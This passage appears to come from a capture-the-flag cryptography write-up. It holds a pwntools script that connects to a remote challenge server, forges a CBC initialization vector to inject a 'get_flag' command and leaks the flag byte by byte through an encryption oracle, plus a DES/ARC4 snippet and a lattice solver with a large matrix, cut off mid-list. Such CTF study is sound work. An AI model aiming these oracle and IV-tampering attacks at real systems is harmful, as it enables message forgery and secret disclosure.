} APK1 des = DES.new('flag'.encode('hex').upper()) rde1 = des.decrypt('99EDA1D941316EEA'.decode('hex')) a = ARC4.new('flag') r = a.decrypt(rde1) print r.encode('hex').upper() Crypto blowfishgame #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import base64 import re from hashlib import sha384 from itertools import product import fuckpy3 LOCAL = 0 VERBOSE = 0 if VERBOSE: context.log_level = 'debug' if LOCAL: io = process(['python2', 'blowfishgame.py']) else: io = remote('8.131.69.237', 15846) table = string.ascii_letters + string.digits # PoW io.recvuntil('sha384') rec = io.recvline().decode() suffix = re.findall(r'\(XXX\+(.*?)\)', rec)[0] digest = re.findall(r'== (.*?)\n', rec)[0] print(f"suffix: {suffix} \ndigest: {digest}") print('Calculating hash...') for i in product(table, repeat=3): prefix = ''.join(i) guess = prefix + suffix if sha384(guess.encode()).hexdigest() == digest: print(guess) break io.sendlineafter(b'Give me XXX:', prefix.encode()) io.recvuntil(',_|\n\n') p0 = b'Blowfish_w0rld' c0 = base64.b64decode(io.recvline().strip()) sendIV, c0 = c0[:8], c0[8:] target = b'get_flag' iv = [] for idx, val in enumerate(target): iv.append(sendIV[idx] ^ target[idx] ^ p0[idx]) iv = bytes(iv) crafted_message = base64.b64encode(iv+c0) flag = '' for boff in range(0, 48, 8): for off in range(7, -1, -1): io.sendline(crafted_message) io.sendline('\x00'*off) res = base64.b64decode(io.recvline()) target = res[boff:boff+8] for i in range(33, 128): io.sendline(crafted_message) io.sendline('\x00'*off+flag+chr(i)) res = base64.b64decode(io.recvline())[boff:boff+8] if res == target: flag += chr(i) print(flag) break easy matrix from sage.modules.free_module_integer import IntegerLattice from random import randint import sys from itertools import starmap from operator import mul # Babai's Nearest Plane algorithm # from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/ def Babai_closest_vector(M, G, target): small = target for _ in range(1): for i in reversed(range(M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round() small -= M[i] * c return target - small m = 128 n = 42 q = 2129 A_values = [[133, 22, 100, 73, 192, 287, 340, 483, 298, 268, 124, 254, 173, 352, 134, 359, 271, 219, 187, 469, 113, 187, 325, 155, 486, 63, 354, 422, 190, 358, 185, 122, 426, 357, 332, 289, 291, 108, 353, 464, 197, 426], [210, 367, 199, 457, 277, 413, 187, 13, 281, 179, 480, 411, 160, 205, 213, 345, 450, 210, 122, 238, 81, 169, 375, 422, 154, 60, 51, 296, 511, 329, 278, 233, 340, 206, 106, 401, 501, 342, 425, 63, 425, 168], [141, 369, 503, 149, 52, 405, 50, 49, 454, 137, 127, 419, 489, 226, 20, 463, 447, 274, 304, 93, 318, 103, 135, 293, 142, 158, 338, 383, 246, 327, 19, 305, 124, 338, 1, 433, 380, 506, 500, 92, 464, 76], [293, 83, 511, 367, 44, 325, 85, 109, 291, 341, 192, 227, 196, 154, 456, 387, 370, 470, 228, 13, 2, 244, 339, 482, 140, 328, 228, 132, 352, 261, 368, 191, 4, 42, 493, 142, 473, 57, 233, 482, 316, 144], [30, 326, 131, 38, 432, 112, 473, 226, 338, 379, 138, 475, 177, 91, 215, 261, 422, 98, 456, 477, 390, 485, 380, 451, 423, 351, 156, 88, 61, 392, 235, 270, 499, 420, 482, 358, 8, 356, 324, 226, 93, 450], [290, 195, 396, 476, 302, 378, 355, 479, 412, 113, 285, 360, 147, 83, 143, 434, 112, 315, 322, 186, 373, 337, 295, 490, 24, 134, 308, 62, 240, 389, 72, 389, 28, 409, 101, 511, 303, 56, 53, 148, 495, 201], [445, 405, 425, 160, 58, 41, 19, 40, 372, 338, 126, 107, 289, 147, 403, 425, 232, 352, 482, 471, 198, 424, 457, 40, 66, 181, 266, 249, 26, 61, 6, 63, 44, 220, 318, 69, 295, 6, 484, 502, 356, 454], [377, 351, 44, 112, 172, 43, 133, 333, 461, 78, 327, 381, 131, 425, 478, 167, 81, 328, 300, 175, 208, 334, 380, 241, 354, 39, 278, 166, 480, 90, 126, 235, 56, 235, 213, 386, 394, 323, 175, 4, 73, 72], [292, 235, 473, 400, 292, 292, 266, 275, 49, 112, 230, 346, 68, 452, 25, 429, 290, 161, 424, 161, 500, 178, 152, 72, 333, 462, 410, 32, 464, 510, 205, 85, 96, 203, 343, 441, 439, 327, 59, 508, 369, 339], [201, 430, 277, 330, 104, 195, 243, 290, 43, 394, 85, 48, 197, 23, 249, 288, 329, 501, 466, 399, 34, 346, 284, 419, 378, 429, 125, 505, 346, 235, 432, 244, 132, 49, 351, 119, 432, 332, 134, 457, 255, 416], [92, 198, 42, 370, 482, 263, 1, 110, 497, 6, 171, 67, 221, 498, 187, 24, 413, 361, 19, 7, 131, 451, 480, 473, 317, 289, 433, 257, 303, 257, 17, 2, 213, 251, 193, 218, 406, 441, 79, 61, 246, 442], [68, 455, 303, 18, 328, 70, 290, 23, 428, 336, 295, 53, 468, 257, 281, 250, 10, 284, 31, 71, 337, 401, 120, 271, 131, 472, 162, 308, 386, 395, 147, 320, 201, 249, 125, 473, 324, 259, 187, 419, 231, 60], [374, 495, 355, 239, 143, 427, 352, 406, 499, 244, 461, 45, 436, 292, 386, 110, 150, 348, 287, 35, 25, 36, 164, 51, 22, 368, 207, 11, 396, 444, 194, 212, 467, 67, 284, 495, 76, 475, 31, 344, 35, 428], [169, 509, 169, 363, 14, 243, 141, 302, 148, 241, 195, 426, 334, 426, 122, 427, 62, 509, 376, 386, 131, 70, 75, 13, 35, 396, 210, 496, 18, 476, 411, 216, 284, 32, 507, 130, 279, 501, 294, 114, 51, 120], [69, 151, 61, 213, 1, 306, 30, 178, 244, 425, 140, 322, 84, 438, 113, 129, 179, 474, 211, 209, 76, 279, 262, 292, 64, 333, 0, 99, 483, 108, 376, 426, 150, 292, 218, 399, 201, 413, 41, 306, 202, 61], [70, 208, 172, 378, 246, 288, 303, 389, 207, 438, 289, 6, 242, 472, 210, 66, 60, 397, 451, 145, 419, 482, 23, 37, 9, 391, 392, 335, 420, 95, 486, 318, 422, 196, 27, 330, 139, 105, 94, 127, 65, 507], [195, 171, 103, 138, 272, 391, 324, 126, 79, 89, 386, 102, 458, 151, 93, 13, 414, 276, 452, 508, 493, 471, 12, 448, 55, 370, 324, 195, 463, 253, 363, 92, 349, 244, 489, 422, 54, 112, 487, 254, 266, 72], [495, 202, 324, 21, 58, 352, 19, 324, 26, 87, 59, 179, 490, 343, 371, 180, 449, 212, 312, 421, 174, 391, 197, 501, 210, 348, 60, 39, 10, 78, 384, 89, 159, 6, 232, 346, 245, 229, 131, 228, 308, 160], [32, 103, 57, 510, 331, 92, 380, 221, 216, 493, 261, 403, 388, 129, 18, 108, 326, 0, 376, 292, 136, 114, 374, 503, 123, 327, 176, 506, 136, 354, 344, 492, 483, 226, 36, 14, 94, 505, 460, 491, 52, 306], [361, 328, 467, 240, 131, 78, 360, 89, 470, 171, 453, 443, 304, 92, 357, 162, 126, 200, 10, 26, 147, 353, 364, 174, 511, 89, 376, 21, 326, 62, 508, 266, 65, 311, 180, 493, 292, 365, 43, 225, 71, 313], [202, 449, 195, 18, 226, 171, 75, 476, 197, 445, 403, 394, 167, 192, 323, 361, 258, 419, 417, 114, 14, 362, 451, 353, 59, 462, 69, 46, 45, 47, 196, 338, 70, 187, 381, 109, 57, 473, 253, 4, 410, 288], [158, 95, 506, 378, 413, 12, 83, 246, 66, 399, 194, 455, 85, 358, 428, 79, 332, 50, 322, 125, 64, 45, 219, 144, 208, 320, 36, 360, 328, 197, 495, 423, 502, 230, 463, 187, 191, 226, 423, 127, 332, 70], [198, 20, 186, 485, 168, 119, 426, 98, 286, 269, 12, 102, 323, 366, 401, 121, 125, 274, 425, 79, 485, 87, 20, 40, 395, 217, 186, 480, 146, 68, 444, 39, 154, 446, 498, 21, 192, 425, 233, 161, 85, 348], [187, 178, 429, 204, 303, 252, 435, 22, 211, 18, 511, 406, 248, 62, 19, 32, 59, 446, 160, 380, 181, 318, 78, 179, 366, 427, 249, 286, 478, 222, 373, 271, 11, 249, 414, 234, 335, 405, 369, 136, 502, 396], [95, 288, 230, 422, 429, 17, 1, 456, 356, 506, 95, 2, 264, 10, 31, 284, 119, 45, 298, 262, 27, 373, 120, 24, 492, 276, 405, 20, 96, 359, 285, 429, 174, 63, 444, 222, 362, 46, 135, 290, 100, 418], [449, 179, 498, 287, 419, 394, 60, 235, 77, 252, 122, 289, 170, 313, 432, 461, 226, 86, 267, 64, 287, 201, 305, 405, 33, 47, 325, 44, 382, 95, 13, 298, 296, 80, 268, 233, 439, 489, 263, 258, 496, 113], [447, 9, 242, 241, 453, 486, 129, 8, 276, 310, 193, 228, 186, 382, 87, 476, 153, 482, 404, 267, 7, 442, 387, 288, 205, 260, 51, 359, 218, 207, 478, 483, 312, 318, 193, 354, 175, 47, 351, 487, 496, 92], [507, 333, 143, 95, 429, 411, 408, 22, 110, 452, 213, 417, 456, 280, 15, 188, 182, 166, 327, 313, 352, 449, 377, 81, 154, 112, 442, 142, 405, 335, 450, 310, 159, 195, 7, 369, 320, 431, 399, 18, 443, 244], [315, 60, 86, 340, 457, 99, 171, 11, 287, 499, 265, 133, 482, 83, 28, 48, 130, 149, 451, 155, 421, 273, 350, 489, 348, 63, 35, 309, 107, 0, 264, 310, 284, 455, 372, 101, 193, 306, 201, 254, 6, 84], [475, 489, 288, 138, 166, 422, 52, 509, 66, 361, 70, 66, 376, 244, 171, 233, 402, 125, 180, 55, 17, 497, 41, 394, 35, 336, 508, 172, 125, 108, 366, 268, 335, 354, 168, 328, 28, 45, 166, 412, 242, 343], [97, 298, 149, 349, 248, 92, 439, 8, 86, 252, 55, 211, 101, 77, 413, 238, 303, 236, 64, 139, 381, 254, 218, 153, 49, 49, 238, 69, 274, 277, 408, 306, 499, 150, 255, 264, 449, 112, 491, 7, 164, 402], [271, 367, 268, 150, 490, 408, 160, 493, 380, 343, 372, 338, 191, 214, 120, 223, 70, 292, 433, 262, 123, 169, 166, 32, 298, 446, 391, 460, 265, 430, 14, 276, 302, 213, 110, 110, 472, 219, 465, 213, 170, 171], [339, 326, 500, 338, 470, 176, 263, 181, 504, 138, 428, 96, 345, 402, 339, 287, 121, 209, 287, 168, 340, 250, 165, 487, 461, 86, 165, 483, 118, 1, 368, 104, 42, 292, 340, 97, 186, 505, 396, 456, 414, 360], [123, 441, 210, 15, 420, 476, 65, 210, 84, 240, 392, 65, 184, 167, 434, 354, 291, 163, 404, 375, 388, 228, 239, 54, 213, 231, 69, 318, 428, 261, 381, 473, 33, 209, 505, 98, 506, 118, 289, 464, 79, 438], [121, 433, 261, 248, 97, 420, 236, 196, 372, 246, 409, 343, 482, 457, 123, 329, 217, 101, 289, 157, 54, 209, 167, 393, 186, 318, 394, 374, 464, 196, 395, 47, 300, 276, 461, 34, 498, 45, 140, 167, 272, 309], [279, 195, 135, 205, 502, 286, 294, 128, 475, 477, 219, 157, 477, 275, 281, 6, 10, 239, 207, 185, 470, 161, 131, 289, 325, 442, 421, 103, 246, 210, 15, 198, 84, 114, 445, 234, 276, 279, 160, 340, 308, 478], [41, 197, 57, 97, 387, 258, 250, 432, 340, 99, 476, 244, 142, 436, 407, 199, 60, 391, 133, 360, 451, 210, 281, 362, 245, 476, 353, 59, 407, 406, 297, 112, 82, 68, 503, 349, 257, 480, 218, 14, 249, 84], [341, 330, 210, 459, 133, 399, 371, 245, 26, 463, 113, 432, 112, 39, 165, 491, 347, 53, 99, 352, 57, 403, 510, 3, 460, 169, 389, 460, 431, 235, 391, 111, 394, 336, 30, 270, 2, 446, 191, 225, 284, 411], [280, 10, 469, 92, 58, 439, 270, 255, 339, 57, 264, 71, 145, 160, 342, 6, 60, 462, 251, 429, 407, 259, 479, 303, 358, 196, 61, 91, 24, 54, 300, 499, 170, 99, 246, 479, 272, 125, 377, 342, 298, 345], [325, 63, 281, 440, 464, 374, 61, 85, 437, 153, 279, 6, 105, 114, 464, 53, 403, 250, 23, 242, 28, 201, 1, 305, 74, 190, 158, 7, 170, 6, 494, 250, 93, 225, 368, 331, 209, 438, 459, 323, 213, 106], [24, 358, 72, 66, 272, 312, 133, 317, 89, 482, 475, 377, 215, 338, 480, 237, 301, 167, 126, 506, 204, 452, 88, 283, 509, 238, 488, 87, 250, 227, 166, 52, 296, 147, 390, 499, 387, 156, 482, 251, 127, 204], [293, 336, 308, 107, 149, 430, 407, 147, 182, 72, 259, 6, 267, 192, 206, 456, 235, 348, 86, 444, 16, 394, 11, 159, 496, 26, 409, 32, 194, 117, 2, 263, 472, 56, 118, 237, 444, 61, 134, 111, 464, 137], [467, 197, 502, 124, 438, 118, 212, 91, 491, 22, 297, 10, 338, 283, 380, 346, 280, 71, 350, 27, 34, 298, 74, 216, 38, 112, 20, 391, 139, 105, 152, 354, 226, 228, 0, 83, 287, 97, 299, 0, 195, 51], [19, 238, 168, 285, 57, 469, 14, 17, 149, 318, 458, 473, 283, 402, 322, 486, 226, 142, 137, 144, 156, 300, 123, 482, 104, 292, 503, 287, 372, 181, 158, 465, 224, 239, 263, 290, 114, 290, 192, 211, 382, 7], [59, 424, 488, 36, 70, 264, 330, 54, 331, 504, 345, 146, 7, 477, 11, 115, 377, 323, 439, 451, 418, 262, 163, 373, 415, 385, 53, 170, 158, 26, 438, 180, 248, 463, 459, 104, 301, 460, 85, 344, 377, 227], [284, 167, 372, 391, 121, 414, 467, 464, 500, 20, 49, 20, 244, 254, 228, 27, 285, 120, 141, 324, 396, 223, 113, 120, 341, 406, 209, 230, 91, 170, 300, 83, 39, 433, 230, 353, 460, 115, 384, 307, 141, 147], [488, 154, 49, 12, 86, 341, 59, 498, 371, 374, 161, 367, 126, 89, 62, 316, 405, 98, 186, 503, 503, 215, 495, 147, 60, 346, 364, 141, 451, 160, 267, 129, 334, 336, 11, 133, 511, 172, 177, 340, 56, 265], [349, 157, 314, 19, 371, 169, 258, 383, 262, 62, 314, 0, 404, 355, 251, 53, 292, 83, 478, 91, 29, 460, 299, 10, 213, 434, 227, 154, 384, 485, 148, 219, 171, 440, 250, 171, 62, 171, 110, 259, 389, 392], [188, 63, 368, 38, 304, 84, 414, 445, 339, 119, 312, 204, 153, 412, 7, 115, 147, 430, 329, 421, 98, 9, 339, 349, 40, 12, 274, 96, 124, 285, 429, 341, 293, 402, 440, 13, 123, 308, 197, 320, 382, 395], [373, 53, 489, 468, 253, 28, 163, 191, 304, 370, 49, 391, 98, 472, 149, 434, 343, 119, 392, 79, 223, 447, 283, 405, 166, 20, 156, 219, 179, 32, 488, 158, 36, 51, 433, 88, 4, 48, 177, 83, 438, 158], [240, 72, 475, 374, 160, 10, 40, 461, 453, 23, 130, 46, 188, 270, 496, 103, 308, 167, 237, 6, 472, 498, 116, 385, 400, 120, 363, 120, 261, 245, 238, 105, 140, 426, 162, 49, 373, 217, 43, 197, 285, 502], [115, 67, 156, 395, 192, 491, 122, 307, 362, 369, 48, 321, 285, 504, 75, 274, 455, 195, 149, 201, 65, 315, 185, 101, 435, 229, 235, 483, 393, 152, 272, 132, 74, 301, 464, 461, 395, 138, 354, 132, 21, 123], [50, 363, 224, 453, 297, 197, 10, 311, 101, 172, 16, 410, 491, 351, 325, 38, 350, 263, 485, 484, 160, 51, 282, 308, 505, 160, 154, 118, 214, 12, 237, 250, 221, 174, 46, 235, 138, 42, 388, 229, 478, 480], [173, 349, 310, 59, 311, 80, 370, 456, 36, 228, 240, 501, 323, 452, 90, 90, 143, 185, 251, 404, 318, 53, 463, 189, 372, 259, 2, 497, 274, 378, 223, 139, 225, 32, 409, 147, 181, 446, 292, 231, 141, 52], [270, 94, 219, 136, 254, 111, 424, 508, 270, 91, 502, 298, 91, 296, 267, 49, 312, 28, 57, 298, 205, 505, 509, 200, 504, 21, 223, 195, 496, 91, 189, 175, 242, 357, 266, 15, 254, 357, 297, 186, 155, 477], [82, 197, 190, 163, 244, 196, 487, 211, 288, 289, 294, 167, 173, 129, 308, 190, 443, 466, 493, 52, 364, 2, 289, 464, 240, 233, 332, 493, 263, 33, 295, 442, 508, 368, 452, 329, 19, 14, 423, 137, 130, 142], [157, 184, 189, 336, 104, 263, 331, 491, 288, 19, 186, 231, 428, 259, 361, 266, 495, 263, 153, 70, 25, 271, 104, 127, 57, 79, 233, 356, 76, 314, 203, 314, 36, 339, 435, 29, 20, 487, 332, 394, 396, 252], [398, 463, 36, 86, 168, 211, 261, 362, 473, 405, 276, 328, 253, 266, 139, 392, 477, 416, 10, 339, 192, 414, 106, 414, 180, 179, 366, 131, 465, 158, 510, 94, 319, 342, 386, 121, 153, 449, 475, 72, 213, 408], [393, 223, 388, 386, 81, 198, 76, 88, 107, 183, 267, 414, 69, 376, 349, 499, 410, 238, 451, 504, 128, 154, 136, 130, 291, 270, 471, 133, 165, 381, 355, 257, 83, 5, 437, 473, 127, 403, 85, 223, 396, 405], [376, 34, 497, 457, 237, 264, 375, 283, 313, 152, 290, 422, 284, 296, 199, 113, 438, 209, 208, 101, 126, 12, 506, 317, 143, 322, 121, 253, 203, 419, 473, 329, 167, 137, 111, 84, 158, 59, 217, 362, 362, 196], [365, 295, 197, 107, 365, 112, 178, 24, 363, 281, 278, 460, 138, 54, 355, 289, 166, 0, 454, 3, 264, 198, 488, 333, 348, 267, 172, 290, 63, 390, 231, 159, 219, 439, 510, 315, 208, 253, 150, 197, 160, 137], [228, 392, 119, 491, 108, 70, 91, 328, 143, 26, 107, 473, 311, 436, 508, 223, 219, 462, 363, 353, 96, 305, 236, 369, 445, 426, 174, 481, 368, 119, 232, 200, 58, 472, 292, 496, 278, 292, 457, 270, 256, 256], [425, 213, 19, 70, 58, 34, 424, 143, 475, 151, 18, 320, 509, 347, 490, 180, 381, 115, 59, 448, 214, 213, 198, 44, 386, 20, 77, 146, 257, 361, 56, 475, 493, 503, 137, 239, 151, 187, 58, 135, 494, 429], [502, 11, 444, 459, 130, 429, 273, 238, 55, 188, 453, 143, 420, 458, 465, 376, 187, 276, 14, 32, 368, 71, 394, 308, 314, 375, 233, 247, 305, 303, 408, 207, 332, 325, 495, 413, 170, 219, 94, 480, 374, 510], [ 375, 303, 292, 113, 341, 54, 489, 11, 167, 207, 213, 435, 434, 434, 83, 10, 505, 2, 252, 277, 255, 308, 192, 71, 388, 283, 282, 105, 278, 1, 69, 486, 417, 59, 83, 233, 368, 100, 87, 93, 371, 511], [85, 295, 94, 59, 170, 74, 20, 485, 56, 81, 69, 433, 313, 189, 110, 460, 13, 46, 9, 481, 95, 107, 438, 253, 179, 351, 302, 210, 238, 430, 358, 314, 486, 125, 16, 92, 94, 336, 226, 509, 356, 393], [387, 207, 9, 432, 243, 316, 382, 108, 33, 9, 209, 479, 16, 400, 133, 145, 35, 29, 297, 490, 254, 110, 376, 65, 249, 354, 482, 455, 181, 510, 484, 37, 353, 57, 181, 362, 402, 391, 130, 75, 287, 26], [133, 399, 21, 180, 129, 147, 306, 335, 152, 68, 214, 316, 287, 107, 372, 393, 266, 366, 349, 471, 441, 409, 349, 76, 420, 280, 253, 420, 460, 211, 359, 115, 23, 465, 42, 509, 68, 191, 334, 309, 410, 348], [450, 370, 24, 164, 492, 336, 470, 231, 274, 249, 52, 46, 460, 434, 181, 490, 415, 174, 142, 385, 285, 396, 0, 413, 463, 371, 410, 474, 127, 339, 260, 308, 371, 260, 173, 357, 480, 172, 425, 210, 438, 495], [501, 429, 228, 277, 394, 123, 317, 98, 212, 199, 175, 472, 215, 503, 229, 173, 474, 484, 497, 316, 347, 453, 80, 495, 379, 474, 100, 141, 4, 291, 136, 405, 347, 94, 272, 84, 315, 390, 419, 48, 296, 169], [176, 111, 413, 456, 17, 81, 395, 391, 309, 234, 142, 62, 364, 133, 285, 410, 44, 72, 189, 263, 161, 451, 289, 78, 510, 231, 35, 362, 403, 326, 443, 56, 410, 222, 389, 320, 340, 290, 488, 343, 44, 46], [477, 93, 3, 474, 354, 321, 287, 166, 89, 316, 236, 441, 364, 382, 375, 469, 396, 122, 48, 132, 283, 320, 138, 323, 200, 99, 324, 251, 309, 192, 105, 253, 151, 112, 440, 53, 21, 272, 95, 132, 68, 143], [340, 257, 97, 16, 124, 136, 252, 80, 162, 19, 164, 332, 180, 204, 224, 411, 225, 449, 184, 351, 414, 280, 155, 303, 377, 379, 493, 340, 392, 388, 267, 193, 492, 141, 295, 96, 247, 338, 294, 230, 223, 353], [221, 245, 439, 35, 460, 486, 232, 1, 226, 70, 489, 149, 425, 477, 417, 455, 147, 421, 68, 144, 387, 1, 106, 77, 459, 511, 376, 442, 34, 309, 211, 283, 190, 464, 99, 206, 98, 263, 246, 471, 167, 348], [115, 45, 52, 272, 124, 277, 430, 174, 274, 157, 334, 92, 203, 25, 43, 196, 324, 167, 10, 356, 419, 386, 494, 229, 286, 326, 416, 107, 17, 224, 161, 267, 450, 308, 456, 154, 262, 176, 140, 439, 288, 249], [233, 56, 123, 265, 381, 103, 274, 26, 429, 317, 125, 309, 121, 30, 241, 234, 73, 453, 423, 167, 240, 355, 327, 432, 381, 334, 473, 143, 319, 198, 13, 51, 154, 397, 249, 307, 65, 190, 22, 173, 87, 312], [451, 27, 317, 115, 212, 104, 143, 492, 324, 286, 420, 159, 267, 352, 424, 355, 298, 219, 246, 225, 240, 332, 298, 186, 287, 119, 290, 435, 81, 455, 354, 325, 265, 237, 60, 409, 76, 282, 301, 497, 41, 103], [202, 68, 61, 234, 205, 256, 146, 141, 169, 310, 195, 151, 198, 436, 483, 92, 118, 221, 427, 8, 466, 59, 16, 285, 336, 362, 173, 62, 312, 382, 455, 404, 319, 425, 227, 88, 332, 368, 99, 282, 288, 483], [409, 69, 371, 418, 141, 92, 242, 60, 371, 93, 16, 469, 308, 248, 383, 349, 127, 309, 500, 266, 114, 75, 140, 411, 51, 494, 14, 505, 273, 208, 389, 194, 350, 465, 470, 139, 490, 188, 329, 341, 153, 384], [484, 32, 266, 249, 369, 379, 96, 323, 99, 426, 16, 150, 399, 8, 319, 133, 219, 335, 379, 357, 391, 384, 177, 434, 336, 182, 129, 378, 8, 487, 205, 286, 495, 3, 455, 326, 138, 500, 23, 67, 69, 332], [418, 24, 263, 78, 144, 400, 289, 197, 146, 57, 185, 482, 503, 470, 488, 459, 281, 145, 238, 242, 129, 164, 380, 145, 282, 143, 25, 250, 345, 448, 186, 312, 57, 325, 276, 349, 229, 280, 53, 310, 66, 431], [268, 478, 44, 252, 395, 486, 53, 204, 202, 149, 333, 29, 250, 328, 100, 465, 476, 444, 31, 67, 160, 71, 101, 0, 397, 107, 192, 233, 186, 480, 436, 324, 194, 187, 85, 129, 23, 22, 342, 268, 407, 133], [340, 289, 32, 135, 32, 295, 312, 262, 177, 34, 478, 342, 204, 335, 271, 267, 107, 470, 291, 42, 107, 166, 395, 26, 93, 386, 225, 351, 368, 154, 128, 215, 90, 5, 496, 494, 410, 33, 331, 34, 494, 222], [345, 449, 13, 323, 446, 359, 353, 16, 381, 156, 305, 344, 479, 281, 206, 188, 390, 392, 193, 252, 129, 260, 332, 199, 506, 95, 163, 303, 353, 309, 89, 122, 97, 319, 133, 79, 423, 12, 294, 325, 369, 275], [134, 82, 361, 31, 451, 65, 250, 8, 215, 279, 1, 376, 351, 450, 98, 163, 167, 342, 129, 343, 460, 38, 474, 355, 104, 449, 250, 434, 116, 498, 27, 224, 96, 372, 221, 339, 403, 97, 282, 321, 451, 161], [363, 61, 324, 2, 137, 457, 268, 474, 74, 407, 504, 363, 256, 359, 213, 158, 431, 85, 166, 160, 82, 88, 140, 132, 182, 165, 320, 35, 74, 118, 91, 487, 416, 101, 436, 179, 99, 141, 85, 219, 163, 10], [105, 397, 490, 486, 458, 51, 180, 501, 120, 131, 240, 73, 35, 191, 224, 129, 358, 190, 201, 425, 283, 401, 114, 364, 338, 325, 80, 99, 360, 445, 138, 80, 468, 2, 307, 231, 16, 497, 99, 129, 194, 116], [168, 431, 235, 323, 85, 242, 446, 33, 93, 359, 248, 64, 94, 364, 405, 100, 441, 221, 69, 138, 371, 377, 258, 202, 384, 476, 119, 406, 89, 279, 459, 292, 102, 49, 98, 249, 487, 446, 434, 54, 323, 71], [385, 103, 99, 174, 230, 441, 228, 374, 488, 86, 36, 353, 227, 85, 469, 151, 247, 104, 398, 92, 26, 296, 216, 406, 155, 284, 302, 315, 418, 507, 201, 452, 313, 226, 88, 416, 192, 314, 110, 13, 137, 383], [135, 356, 236, 70, 428, 69, 199, 211, 11, 430, 411, 141, 391, 475, 132, 355, 9, 463, 120, 251, 188, 35, 252, 42, 417, 191, 250, 467, 61, 152, 25, 284, 487, 107, 294, 132, 178, 307, 284, 397, 33, 173], [219, 8, 408, 443, 364, 448, 508, 50, 114, 272, 479, 263, 20, 497, 343, 413, 14, 48, 323, 354, 125, 4, 237, 379, 268, 286, 122, 427, 78, 52, 68, 371, 469, 208, 63, 462, 291, 232, 441, 471, 57, 169], [415, 238, 340, 55, 210, 158, 280, 61, 61, 169, 260, 336, 261, 170, 149, 18, 76, 368, 60, 122, 452, 463, 339, 47, 100, 467, 390, 476, 453, 391, 15, 171, 129, 9, 155, 421, 462, 454, 295, 504, 214, 30], [488, 316, 417, 90, 409, 66, 491, 384, 358, 387, 222, 367, 262, 100, 159, 146, 205, 213, 475, 137, 158, 136, 252, 121, 195, 139, 245, 496, 311, 430, 252, 398, 419, 138, 318, 290, 201, 6, 42, 419, 265, 26], [454, 320, 324, 260, 229, 422, 238, 146, 90, 102, 422, 248, 491, 442, 504, 226, 3, 183, 146, 240, 358, 323, 48, 5, 235, 357, 365, 83, 177, 453, 257, 5, 235, 481, 347, 33, 329, 117, 498, 94, 196, 351], [85, 169, 299, 231, 41, 354, 124, 372, 221, 489, 116, 22, 122, 102, 191, 184, 504, 421, 276, 282, 492, 257, 361, 157, 59, 55, 361, 149, 356, 85, 278, 214, 396, 53, 464, 147, 379, 490, 66, 242, 14, 399], [120, 485, 152, 256, 194, 208, 230, 161, 318, 227, 273, 90, 99, 358, 175, 310, 390, 59, 219, 400, 273, 246, 397, 219, 123, 129, 318, 215, 59, 102, 140, 106, 510, 379, 490, 7, 365, 142, 498, 15, 191, 64], [215, 368, 159, 486, 393, 373, 234, 228, 452, 467, 459, 487, 75, 325, 311, 40, 59, 244, 42, 287, 83, 159, 104, 47, 167, 181, 481, 408, 415, 52, 457, 92, 369, 492, 106, 469, 15, 232, 386, 65, 264, 242], [455, 158, 277, 240, 508, 135, 286, 314, 454, 445, 165, 83, 54, 165, 350, 340, 495, 140, 155, 292, 490, 505, 263, 294, 254, 126, 118, 157, 157, 41, 38, 294, 483, 182, 209, 419, 94, 188, 344, 2, 79, 247], [365, 142, 124, 284, 497, 78, 180, 181, 35, 382, 59, 261, 467, 128, 195, 389, 511, 155, 270, 37, 415, 432, 313, 362, 332, 243, 180, 105, 138, 457, 271, 288, 364, 270, 400, 465, 227, 472, 377, 480, 430, 317], [145, 430, 27, 59, 302, 402, 153, 171, 202, 118, 164, 273, 352, 264, 323, 206, 58, 53, 11, 88, 288, 18, 343, 238, 323, 52, 365, 140, 354, 255, 432, 161, 432, 57, 249, 396, 439, 119, 463, 447, 51, 187], [249, 22, 508, 388, 433, 120, 336, 16, 127, 91, 35, 425, 348, 457, 368, 231, 186, 122, 295, 267, 211, 123, 366, 299, 400, 349, 129, 292, 146, 440, 473, 372, 85, 461, 204, 467, 414, 316, 372, 20, 7, 81], [158, 439, 12, 351, 80, 7, 26, 478, 234, 42, 220, 297, 94, 215, 233, 31, 446, 68, 25, 218, 447, 326, 157, 192, 46, 387, 429, 199, 480, 383, 408, 202, 364, 506, 419, 395, 216, 362, 84, 195, 505, 147], [399, 100, 268, 430, 412, 461, 316, 357, 129, 120, 446, 432, 285, 245, 12, 104, 354, 23, 276, 354, 26, 75, 18, 12, 427, 179, 329, 446, 51, 410, 38, 196, 349, 109, 378, 508, 45, 394, 453, 160, 303, 269], [161, 455, 48, 71, 5, 508, 356, 145, 233, 328, 131, 200, 296, 287, 357, 275, 92, 267, 397, 325, 419, 326, 18, 228, 94, 436, 365, 15, 155, 504, 224, 241, 424, 217, 220, 102, 152, 119, 386, 13, 69, 511], [344, 374, 15, 317, 141, 281, 96, 118, 428, 505, 492, 15, 221, 71, 136, 138, 114, 123, 81, 106, 232, 452, 190, 71, 497, 114, 396, 458, 356, 50, 26, 46, 507, 32, 47, 234, 323, 179, 42, 173, 351, 58], [372, 384, 67, 276, 380, 496, 40, 467, 502, 0, 485, 308, 446, 253, 327, 195, 121, 201, 32, 90, 99, 152, 423, 233, 124, 367, 11, 417, 119, 149, 455, 294, 120, 45, 18, 302, 460, 353, 386, 387, 461, 42], [293, 449, 47, 93, 190, 313, 286, 363, 417, 181, 326, 380, 7, 354, 338, 113, 303, 334, 322, 372, 146, 466, 485, 315, 267, 36, 369, 220, 473, 174, 142, 267, 377, 504, 164, 488, 288, 334, 111, 488, 292, 130], [122, 307, 370, 504, 191, 195, 136, 410, 472, 451, 34, 372, 194, 185, 133, 304, 287, 87, 350, 337, 400, 16, 210, 474, 75, 210, 409, 112, 400, 12, 76, 94, 246, 13, 6, 499, 233, 385, 27, 151, 379, 368], [275, 38, 201, 378, 7, 459, 408, 82, 245, 225, 297, 177, 29, 238, 45, 321, 272, 145, 208, 417, 308, 462, 263, 276, 345, 221, 96, 470, 269, 242, 18, 122, 377, 74, 63, 204, 277, 226, 187, 115, 334, 255], [253, 293, 237, 226, 290, 504, 440, 498, 491, 216, 62, 134, 280, 132, 257, 42, 219, 402, 496, 506, 242, 443, 428, 79, 417, 223, 472, 416, 462, 224, 114, 293, 107, 306, 214, 270, 227, 183, 64, 314, 167, 478], [128, 215, 81, 507, 492, 466, 266, 215, 396, 303, 257, 507, 500, 244, 119, 247, 412, 233, 244, 263, 172, 146, 399, 431, 271, 244, 488, 229, 413, 181, 128, 67, 459, 162, 84, 240, 298, 73, 91, 110, 